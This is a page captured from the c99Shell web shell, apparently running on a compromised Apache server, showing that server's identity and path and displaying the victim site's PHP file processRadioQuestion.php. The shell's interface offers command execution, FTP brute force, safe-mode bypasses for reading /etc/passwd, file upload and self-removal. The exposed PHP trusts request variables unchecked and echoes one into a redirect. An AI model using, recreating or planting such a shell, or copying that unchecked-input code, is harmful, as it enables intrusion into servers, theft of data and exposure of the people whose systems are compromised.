!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 52.3 GB of 127.8 GB (40.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     processRadioQuestion.php (2.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "../global1.php";
include_once 
"../../class/clsDB.php";
include_once 
"../../class/clsConnection.php";
include_once 
"../class/clsRadioQuestion.php";

//echo "<br> **** levelRQ = ".$levelRQ;
//echo "method = ".$method;
//echo "<br> subtract = ".$setSubtract;

$oC = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

if(
$setSubtract  == "0"){
    
$oRQ = new RadioQuestion($oC);
    
$oRQ->updateSubtract($RQid,0);
}

$obj = new RadioQuestion($oC);
if(
$method=="add"){
    
$obj->AddNew();
    
$obj->RQid=$RQid;
    
$obj->assid=$assid;
    
$obj->sectionRQid=$sectionRQid;
    
$obj->nameRQ=$nameRQ;
    
$obj->parrentRQid=$parrentRQid;
    
$obj->levelRQ=$levelRQ;
    
$obj->subtract=$subtract;
    
$obj->sequence=$sequence;
    
$obj->Save();
    echo 
"<meta http-equiv='refresh' content='0; URL=createForm.php?assid=$assid;'>";
}else if(
$method=="edit"){
    
$obj->SearchByKey($RQid);
    
$obj->GetRecord();
    
$obj->Edit();
    
$obj->RQid=$RQid;
    
$obj->assid=$assid;
    
$obj->sectionRQid=$sectionRQid;
    
$obj->nameRQ=$nameRQ;
    
$obj->parrentRQid=$parrentRQid;
    
$obj->levelRQ=$levelRQ;
    
$obj->subtract=$subtract;
    
$obj->sequence=$sequence;
    
$obj->Save();
    echo 
"<meta http-equiv='refresh' content='0; URL=createForm.php?assid=$assid;'>";
}else if(
$method=="delete"){
    
//echo "Q = ".$Q;
    
if($Q=='mainRQ'){
        
$numSubRQ $obj->RSCountParrentRQid($RQid);
        
//echo "<br> numSubRQ  = ".$numSubRQ; 
        
if($numSubRQ 0){
            
$obj->SearchByKey($RQid);
            
$obj->GetRecord();
            
$obj->DeleteSubRQ();
        }
            
$obj->SearchByKey($RQid);
            
$obj->GetRecord();
            
$obj->DeleteRQ();

    }else if(
$Q=='subRQ'){
        
$obj->SearchByKey($RQid);
        
$obj->GetRecord();
        
$obj->DeleteRQ();
    }
    echo 
"<meta http-equiv='refresh' content='0; URL=createForm.php?assid=$assid;'>";
}else if(
$method=="updown"){
    
$obj->swapQuestion($ud,$assid,$RQid,$sectionRQid,$parrentRQid,$levelRQ,$sequence);
    echo 
"<meta http-equiv='refresh' content='0; URL=createForm.php?assid=$assid;'>";
}

$obj->Close();
$oC->Disconnect();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0057 ]--